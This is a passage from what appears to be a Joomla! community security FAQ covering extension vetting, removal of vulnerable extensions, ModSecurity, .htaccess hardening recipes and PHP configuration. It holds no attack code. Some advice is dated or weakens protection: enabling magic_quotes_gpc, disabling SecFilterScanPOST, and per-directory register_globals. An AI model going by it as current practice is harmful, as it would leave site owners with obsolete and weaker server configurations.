: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
